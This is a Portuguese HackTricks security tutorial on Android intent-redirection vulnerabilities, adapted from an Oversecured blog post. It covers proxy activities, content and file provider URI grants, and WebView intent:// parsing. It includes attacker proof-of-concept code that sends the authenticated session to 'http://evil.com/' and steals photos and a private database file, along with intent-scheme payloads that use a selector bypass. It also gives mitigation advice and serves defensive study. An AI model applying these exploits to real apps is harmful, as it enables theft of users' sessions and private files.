16 KiB
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do HackTricks e HackTricks Cloud.
Pesquisa retirada de https://blog.oversecured.com/Android-Access-to-app-protected-components/
Introdução
Esta vulnerabilidade se assemelha ao Open Redirect em segurança web. Como a classe Intent
é Parcelable
, objetos pertencentes a esta classe podem ser passados como dados extras em outro objeto Intent
.
Muitos desenvolvedores fazem uso desta funcionalidade e criam componentes proxy (atividades, receptores de transmissão e serviços) que recebem um Intent embutido e o passam para métodos perigosos como startActivity(...)
, sendBroadcast(...)
, etc.
Isso é perigoso porque um atacante pode forçar o aplicativo a iniciar um componente não exportado que não pode ser iniciado diretamente de outro aplicativo, ou conceder ao atacante acesso aos seus provedores de conteúdo. WebView
também às vezes converte uma URL de uma string para um objeto Intent
, usando o método Intent.parseUri(...)
, e o passa para startActivity(...)
.
{% hint style="info" %} Resumindo: Se um atacante pode enviar um Intent que está sendo executado de forma insegura, ele pode potencialmente acessar componentes não exportados e abusar deles. {% endhint %}
Um caso típico
Vamos examinar um exemplo. Fragmento do arquivo AndroidManifest.xml
<activity android:name=".ProxyActivity" android:exported="true" />
<activity android:name=".AuthWebViewActivity" android:exported="false" />
Atividade ProxyActivity
startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));
Atividade AuthWebViewActivity
webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());
AuthWebViewActivity
é um exemplo de funcionalidade oculta do aplicativo que executa certas ações inseguras, neste caso passando a sessão de autenticação do usuário para uma URL obtida a partir do parâmetro url
.
Restrições de exportação significam que o atacante não pode acessar AuthWebViewActivity
diretamente. Uma chamada direta
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
startActivity(intent);
lança uma java.lang.SecurityException
, devido à Negativa de Permissão
: AuthWebViewActivity não exportado do uid 1337
.
Mas o atacante pode forçar a vítima a iniciar o AuthWebViewActivity
por si mesma:
Intent extra = new Intent();
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
extra.putExtra("url", "http://evil.com/");
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
e nenhuma violação de segurança ocorrerá, porque o app que está sob ataque tem acesso a todos os seus próprios componentes. Usando este fragmento de código, o atacante pode contornar as restrições integradas do sistema Android.
Escalada de Impacto
Para escalar o impacto desta vulnerabilidade, você precisa encontrar outras vulnerabilidades/configurações incorretas que possam permitir aumentar o impacto da vulnerabilidade (já que a vulnerabilidade por si só não está criando riscos).
Escalada de ataques via Content Providers
Além do acesso a componentes arbitrários do app original, o atacante pode tentar obter acesso aos Content Providers do app vulnerável que satisfaçam as seguintes condições:
- ele deve ser não exportado (caso contrário, poderia ser atacado diretamente, sem usar a vulnerabilidade que estamos discutindo neste artigo)
- ele deve ter a flag
android:grantUriPermissions
definida comotrue
. android:grantUriPermissions="true"
indica que seu código Java pode usarFLAG_GRANT_READ_URI_PERMISSION
eFLAG_GRANT_WRITE_URI_PERMISSION
para qualquerUri
fornecido por aqueleContentProvider
.android:grantUriPermissions="false"
indica que apenas os valores deUri
especificados pelos elementos filhos<grant-uri-permission>
podem ser usados comFLAG_GRANT_READ_URI_PERMISSION
eFLAG_GRANT_WRITE_URI_PERMISSION
.
O atacante deve se configurar como o destinatário de um intent embutido e definir as seguintes flags
Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
permite acesso persistente ao provedor (sem esta flag, o acesso é apenas uma vez)Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
permite acesso ao URI por prefixo – por exemplo, em vez de obter acesso separado repetidamente usando um caminho completo comocontent://com.victim.provider/image/1
, o atacante pode conceder acesso a todo o conteúdo do provedor usando o URIcontent://com.victim.provider/
e depois usarContentResolver
para endereçarcontent://com.victim.provider/image/1
,content://com.victim.provider/image/2
, etc.Intent.FLAG_GRANT_READ_URI_PERMISSION
permite operações de leitura no provedor (comoquery
,openFile
,openAssetFile
)Intent.FLAG_GRANT_WRITE_URI_PERMISSION
permite operações de escrita
Um exemplo de um provedor típico onde um atacante pode obter acesso e realizar operações regulares como query
, update
, insert
, delete
, openFile
, openAssetFile
<provider android:name="com.victim.ContentProvider" android:exported="false" android:authorities="com.victim.provider" android:grantUriPermissions="true"/>
Exemplo de roubo de fotos do usuário no arquivo AndroidManifest.xml
<activity android:name=".LeakActivity" android:exported="true" />
Arquivo MainActivity.java
Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
| Intent.FLAG_GRANT_READ_URI_PERMISSION
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.provider/"));
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
LeakActivity.java
Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com.victim.provider/image/1
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image
Ataques ao Android File Provider
Esta vulnerabilidade também possibilita ao atacante roubar arquivos de aplicativos localizados em diretórios predeterminados pelo desenvolvedor. Para um ataque bem-sucedido, o aplicativo malicioso precisa obter direitos de acesso ao Android File Provider e depois ler o conteúdo do provedor de arquivos usando o Android ContentResolver.
Exemplo de provedor de arquivos (para mais detalhes, consulte https://developer.android.com/reference/android/support/v4/content/FileProvider)
<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.victim.files_provider" android:grantUriPermissions="true">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/>
</provider>
Ele fornece acesso de leitura/escrita a arquivos em uma lista especial que pode ser encontrada nos recursos do aplicativo, neste caso em res/xml/provider_paths.xml
Pode parecer algo como
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="root" path=""/>
<files-path name="internal_files" path="."/>
<cache-path name="cache" path=""/>
<external-path name="external_files" path="images"/>
</paths>
Cada tag especifica um diretório raiz com um valor path
relativo à raiz. Por exemplo, o valor external_files
corresponderá a new File(Environment.getExternalStorageDirectory(), "images")
O valor root-path
corresponde a /
, ou seja, fornece acesso a arquivos arbitrários.
Digamos que temos alguns dados secretos armazenados no arquivo /data/data/com.victim/databases/secret.db
: o roubo deste arquivo pode parecer algo como isto MainActivity.java
Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.files_provider/root/data/data/com.victim/databases/secret.db"));
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
LeakActivity.java
InputStream i = getContentResolver().openInputStream(getIntent().getData()); // we can now do whatever we like with this stream, e.g. send it to a remote server
Acesso a componentes arbitrários via WebView
Um objeto Intent pode ser convertido para uma string com uma chamada a Intent.toUri(flags)
e de volta de uma string para um Intent usando Intent.parseUri(stringUri, flags)
. Essa funcionalidade é frequentemente usada no WebView (o navegador embutido do app): o app pode verificar um esquema intent://
, analisar a URL em um Intent e iniciar a atividade.
Essa vulnerabilidade pode ser explorada tanto através de outras vulnerabilidades (por exemplo, a capacidade de abrir links arbitrários no app no WebView diretamente via atividades exportadas ou por meio do mecanismo de deeplink) no app cliente quanto remotamente, incluindo scripting entre sites no lado do servidor ou MitM no lado do cliente.
Exemplo de código vulnerável
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
if("intent".equals(uri.getScheme())) {
startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
return true;
}
return super.shouldOverrideUrlLoading(view, request);
}
O ponto aqui é que o método shouldOverrideUrlLoading(...)
da classe WebViewClient
é chamado toda vez que o WebView tenta carregar um novo link, mas dá ao aplicativo a opção de adicionar um manipulador personalizado.
Para explorar essa vulnerabilidade, o atacante precisa criar um redirecionamento do WebView para uma URL de esquema de intent especialmente preparada. Exemplo de criação de URL
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // outputs "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"
Exemplo de ataque
location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";
Esta versão contém várias restrições comparadas à versão clássica da vulnerabilidade:
- Objetos
Parcelable
eSerializable
embutidos não podem ser convertidos para string (eles serão ignorados) - As flags inseguras
Intent.FLAG_GRANT_READ_URI_PERMISSION
eIntent.FLAG_GRANT_WRITE_URI_PERMISSION
são ignoradas quandoIntent.parseUri(...)
é chamado. O analisador só as deixará se a flagIntent.URI_ALLOW_UNSAFE
(startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))
) estiver definida, o que é muito raro
Muitos desenvolvedores ainda esquecem de realizar um filtro completo de intents recebidos via WebView
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
if("intent".equals(uri.getScheme())) {
Intent intent = Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME);
intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
startActivity(intent);
return true;
}
return super.shouldOverrideUrlLoading(view, request);
}
O atacante pode especificar um componente não exportado por meio de um seletor
Intent intent = new Intent();
intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity"));
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // "intent:#Intent;S.url=http%3A%2F%2Fevil.com%2F;SEL;component=com.victim/.AuthWebViewActivity;end"
E contornar a proteção do aplicativo contra intents explícitos. Portanto, recomendamos também filtrar o seletor.
intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
intent.setSelector(null);
Mas mesmo um filtro completo não garante proteção total, porque um atacante pode criar um intent
implícito correspondente ao intent-filter
de alguma atividade não exportada. Exemplo de declaração de atividade:
<activity android:name=".AuthWebViewActivity" android:exported="false">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<data android:scheme="victim" android:host="secure_handler" />
</intent-filter>
</activity>
webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders());
Recomendamos, portanto, verificar se uma atividade está exportada antes de ser iniciada.
Outras formas de criar intents inseguros
Alguns desenvolvedores de aplicativos implementam seus próprios analisadores de intents (muitas vezes para lidar com deeplinks ou mensagens push), usando, por exemplo, objetos JSON, strings ou arrays de bytes, que ou não diferem do padrão ou representam um grande perigo, pois podem expandir objetos Serializable
e Parcelable
e também permitem a configuração de flags inseguras. O pesquisador de segurança também pode encontrar versões mais exóticas de criação de intents, como converter um array de bytes em um Parcel
e depois ler um intent a partir dele.
Uri deeplinkUri = getIntent().getData();
if(deeplinkUri.toString().startsWith("deeplink://handle/")) {
byte[] handle = Base64.decode(deeplinkUri.getQueryParameter("param"), 0);
Parcel parcel = Parcel.obtain();
parcel.unmarshall(handle, 0, handle.length);
startActivity((Intent) parcel.readParcelable(getClassLoader()));
}
Aplicativo Vulnerável
{% embed url="https://github.com/oversecured/ovaa" %}
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao grupo do 💬 Discord ou ao grupo do telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios do github HackTricks e HackTricks Cloud.